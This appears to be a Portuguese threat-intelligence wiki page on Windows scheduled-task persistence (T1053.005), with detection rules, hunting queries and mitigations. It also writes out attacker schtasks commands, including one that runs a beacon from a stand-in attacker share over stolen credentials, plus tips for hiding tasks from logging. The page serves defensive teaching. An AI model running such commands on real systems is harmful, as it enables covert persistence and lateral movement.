# PROC - Scheduled Task: Persistência via Tarefas Agendadas do Windows > [!warning] Procedimento de alta prevalência > A criação de tarefas agendadas via **schtasks.exe** é uma das técnicas de persistência mais utilizadas por adversários - desde APTs estatais até operadores de ransomware e trojans bancários. Por ser uma ferramenta nativa do Windows, sua execução raramente é bloqueada, tornando-a ideal para manter acesso persistente ao ambiente comprometido. ## Visão Geral O **Agendador de Tarefas do Windows** (Task Scheduler) é um componente nativo do sistema operacional que permite a execução automática de programas e scripts com base em gatilhos temporais, eventos do sistema ou condições específicas. Adversários abusam dessa funcionalidade legítima para garantir que seus payloads sejam executados de forma recorrente, sobrevivendo a reinicializações do sistema e mantendo presença persistente na rede comprometida. A técnica [[t1053-005-scheduled-task|T1053.005]] é particularmente perigosa porque combina três vantagens operacionais para o atacante: (1) o binário `schtasks.exe` é assinado pela Microsoft e presente em todas as versões do Windows, o que significa que não precisa ser trazido de fora; (2) tarefas podem ser configuradas para executar como **NT AUTHORITY\SYSTEM**, o que garante privilégios máximos; e (3) tarefas podem ser criadas remotamente via SMB/RPC, facilitando [[t1021-002-smb-windows-admin-shares|movimentação lateral]]. Mais de 78 grupos de ameaças documentados pelo MITRE ATT&CK utilizam essa técnica, incluindo [[g0016-apt29|APT29]], [[g0007-apt28|APT28]], [[g0032-lazarus-group|Lazarus Group]], [[g0046-fin7|FIN7]] e operadores de [[lockbit|LockBit]]. No contexto brasileiro, trojans bancários como Grandoreiro e Mekotio empregam tarefas agendadas rotineiramente para manter persistência em estações de trabalho infectadas, especialmente no setor [[financial|financeiro]]. A detecção eficaz requer monitoramento combinado de eventos do Windows (4698, 4702), logs do Sysmon (EID 1 para criação de processos) e inspeção periódica do diretório `C:\Windows\System32\Tasks`, onde as definições XML das tarefas são armazenadas. ## Attack Flow ```mermaid graph TB A["🎯 Comprometimento Inicial<br/>Phishing, exploit ou<br/>acesso via credenciais"] --> B["⬆️ Escalação de Privilégios<br/>UAC bypass ou exploit<br/>para obter SYSTEM"] B --> C["📋 Criação da Tarefa<br/>schtasks /create com<br/>trigger de persistência"] C --> D["⏰ Execução Agendada<br/>Payload executa no<br/>horário ou evento definido"] D --> E["🔄 Persistência Mantida<br/>Sobrevive a reboot,<br/>executa indefinidamente"] E --> F["🌐 Tarefas Remotas<br/>schtasks /create /S host<br/>para movimentação lateral"] classDef attack fill:#e74c3c,stroke:#c0392b,color:#ecf0f1 classDef persist fill:#e67e22,stroke:#d35400,color:#ecf0f1 classDef lateral fill:#9b59b6,stroke:#8e44ad,color:#ecf0f1 classDef neutral fill:#3498db,stroke:#2980b9,color:#ecf0f1 class A neutral class B neutral class C attack class D persist class E persist class F lateral ``` **Legenda:** [[t1566-phishing|T1566 Phishing]] - [[t1548-abuse-elevation-control-mechanism|T1548 UAC Bypass]] - [[t1053-005-scheduled-task|T1053.005 Scheduled Task]] - [[Admin Shares]] ## Como Funciona ### Criação básica via linha de comando O método mais direto utiliza `schtasks.exe` com parâmetros que definem o gatilho, a ação e o contexto de execução: ```cmd :: Persistência via logon - executa toda vez que o usuário faz login schtasks /create /tn "WindowsUpdateCheck" /tr "C:\Users\Public\update.exe" /sc ONLOGON /ru SYSTEM :: Persistência temporal - executa a cada 15 minutos schtasks /create /tn "Microsoft\Windows\Maintenance\CacheClean" /tr "powershell.exe -ep bypass -w hidden -f C:\ProgramData\sync.ps1" /sc MINUTE /mo 15 /ru SYSTEM :: Execução única com atraso - comum em staging schtasks /create /tn "SetupComplete" /tr "cmd /c C:\Temp\payload.bat" /sc ONCE /st 03:00 /sd 2026/03/29 ``` ### Criação remota para movimentação lateral Adversários utilizam a flag `/S` para criar tarefas em hosts remotos, propagando-se pela rede: ```cmd :: Criar tarefa em host remoto via credenciais comprometidas schtasks /create /s FILESERVER01 /u DOMAIN\admin /p P@ssw0rd /tn "Updater" /tr "\\ATTACKER\share\beacon.exe" /sc ONSTART /ru SYSTEM ``` ### Técnicas de evasão Atacantes sofisticados empregam diversas táticas para dificultar a detecção: - **Nomes legítimos:** usar nomes que imitam tarefas do Windows como `\Microsoft\Windows\NetTrace\GatherNetworkInfo` ou `\Microsoft\Windows\WindowsUpdate\Scheduled Start` - **Caminhos confiáveis:** armazenar payloads em `C:\Windows\Temp\`, `C:\ProgramData\` ou subpastas de `C:\Windows\System32\` - **Tarefas ocultas:** manipular a chave de registro `HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree` para ocultar a tarefa do `schtasks /query` - **XML direto:** importar definição XML com `schtasks /create /xml task.xml /tn "NomeTarefa"` para evitar logging de parâmetros na linha de comando ### Gatilhos comuns abusados | Gatilho | Flag | Uso adversário | |---------|------|----------------| | Logon | `/sc ONLOGON` | Persistência por sessão de usuário | | Boot | `/sc ONSTART` | Persistência máxima - executa antes do login | | Idle | `/sc ONIDLE` | Execução quando máquina está ociosa (evasão) | | Intervalo | `/sc MINUTE /mo N` | Beaconing periódico para C2 | | Evento | `/sc ONEVENT` | Gatilho baseado em Event Log específico | ## Detecção ### Eventos do Windows | Fonte | Event ID | Descrição | |-------|----------|-----------| | Security Log | **4698** | Tarefa agendada criada | | Security Log | **4702** | Tarefa agendada atualizada | | Security Log | **4699** | Tarefa agendada removida | | Security Log | **4700/4701** | Tarefa habilitada/desabilitada | | Sysmon | **EID 1** | Criação de processo schtasks.exe | | Sysmon | **EID 11** | Criação de arquivo em `C:\Windows\System32\Tasks\` | ### Regra Sigma - Criação suspeita de tarefa agendada ```yaml title: Suspicious Scheduled Task Creation via Schtasks id: proc-schtasks-persistence-001 status: stable description: Detecta criação de tarefas agendadas com indicadores suspeitos logsource: category: process_creation product: windows detection: selection_cmd: Image|endswith: '\schtasks.exe' CommandLine|contains: '/create' suspicious_indicators: CommandLine|contains: - '/sc ONLOGON' - '/sc ONSTART' - '/sc MINUTE' - '/ru SYSTEM' - 'powershell' - 'cmd /c' - 'bypass' - 'hidden' - '.ps1' - 'C:\Users\Public' - 'C:\ProgramData' - 'C:\Windows\Temp' condition: selection_cmd and suspicious_indicators level: high tags: - attack.persistence - attack.t1053.005 ``` ### Queries de hunting ```kql // KQL - Microsoft Sentinel / Defender DeviceProcessEvents | where FileName == "schtasks.exe" | where ProcessCommandLine has_all ("/create", "/sc") | where ProcessCommandLine has_any ("ONLOGON", "ONSTART", "MINUTE", "powershell", "bypass") | project Timestamp, DeviceName, AccountName, ProcessCommandLine | sort by Timestamp desc ``` ## Mitigação ### Controles recomendados | Controle | Implementação | |----------|---------------| | [[m1026-privileged-account-management\|M1026]] | Restringir quem pode criar tarefas agendadas via GPO | | [[m1028-operating-system-configuration\|M1028]] | Habilitar auditoria de tarefas agendadas (4698/4702) | | [[m1018-user-account-management\|M1018]] | Impedir criação de tarefas por contas não-administrativas | | [[m1038-execution-prevention\|M1038]] | Bloquear execução de scripts de diretórios não-padrão | ### Ações práticas 1. **Habilitar auditoria avançada:** `auditpol /set /subcategory:"Other Object Access Events" /success:enable /failure:enable` 2. **GPO restritiva:** Configurar `Computer Configuration > Windows Settings > Security Settings > Local Policies > User Rights Assignment > "Log on as a batch job"` apenas para contas necessárias 3. **Monitorar diretório de tarefas:** alertar sobre criação de novos arquivos XML em `C:\Windows\System32\Tasks\` via [[ds0022-file-file-creation|DS0022]] 4. **Baseline de tarefas:** manter inventário das tarefas legítimas e alertar sobre desvios 5. **Bloquear criação remota:** restringir acesso ao serviço Task Scheduler via firewall em portas RPC/SMB entre estações de trabalho ## Atores que Utilizam | Ator | Padrão de uso | Contexto | |------|--------------|----------| | [[apt29\|APT29]] | Tarefas com nomes legítimos do Windows, execução de PowerShell encodado | Espionagem governamental | | [[apt28\|APT28]] | `schtasks /create` para manter backdoors como X-Agent e Zebrocy | Espionagem militar | | [[lazarus-group\|Lazarus Group]] | Tarefas para executar RATs customizados, foco em setor financeiro | Operações financeiras | | [[fin7\|FIN7]] | Tarefas agendadas para Carbanak/Cobalt Strike beacons | Fraude financeira | | [[lockbit\|LockBit]] | Agendamento de execução do ransomware em horários de baixo monitoramento | Ransomware | | [[wizard-spider\|Wizard Spider]] | TrickBot e BazarLoader persistem via tarefas com nomes de serviços Windows | Ransomware (Conti/Ryuk) | | [[sandworm-team\|Sandworm]] | Tarefas remotas para propagação do NotPetya e Industroyer | Sabotagem estatal | | [[turla\|Turla]] | Tarefas ocultas com manipulação de registro para esconder do Task Manager | Espionagem avançada | ## Relevância LATAM/Brasil > [!latam] Impacto significativo na região > Tarefas agendadas são o mecanismo de persistência predominante em campanhas contra organizações brasileiras, especialmente no setor **financeiro** e **governamental**. ### Trojans bancários brasileiros Os trojans bancários que afetam o Brasil - como **Grandoreiro**, **Mekotio**, **Casbaneiro** e **Astaroth/Guildma** - utilizam tarefas agendadas como método primário de persistência. O padrão típico envolve: 1. Infecção via phishing com nota fiscal eletrônica (NF-e) ou boleto falso 2. Download de DLL maliciosa para `C:\Users\Public\` ou `%AppData%` 3. Criação de tarefa agendada com `rundll32.exe` apontando para a DLL 4. Execução a cada logon do usuário, capturando credenciais bancárias ### Ransomware no Brasil Operadores de ransomware como [[lockbit|LockBit]], [[ALPHV]] e **Royal** frequentemente agendam a execução do payload de criptografia para horários de baixa atividade (madrugada de sexta para sábado), maximizando o impacto antes que equipes de resposta possam reagir. Organizações brasileiras com monitoramento limitado fora do horário comercial são particularmente vulneráveis. ### Desafios específicos - **Maturidade de monitoramento:** grande parte das organizações brasileiras não coleta eventos 4698/4702, perdendo visibilidade sobre criação de tarefas - **Falta de baseline:** sem inventário de tarefas legítimas, equipes de SOC não conseguem distinguir tarefas maliciosas das legítimas - **Ambientes heterogêneos:** versões antigas do Windows ainda prevalentes em setores como [[government|governo]] e [[healthcare|saúde]], com menos controles nativos disponíveis ## Referências - [MITRE ATT&CK T1053.005 - Scheduled Task](https://attack.mitre.org/techniques/T1053/005/) - [Microsoft - schtasks.exe documentation](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks-create) - [Red Canary - Threat Detection Report: Scheduled Task](https://redcanary.com/threat-detection-report/techniques/scheduled-task-job/) - [Elastic Security Labs - Hunting for Persistence via Scheduled Tasks](https://www.elastic.co/security-labs/) - [The DFIR Report - Scheduled Task Persistence Patterns](https://thedfirreport.com/) - [CISA - Alert on Scheduled Task Abuse](https://www.cisa.gov/news-events/cybersecurity-advisories) - [Securelist - Grandoreiro Banking Trojan Analysis](https://securelist.com/) - [Sigma HQ - Scheduled Task Rules](https://github.com/SigmaHQ/sigma)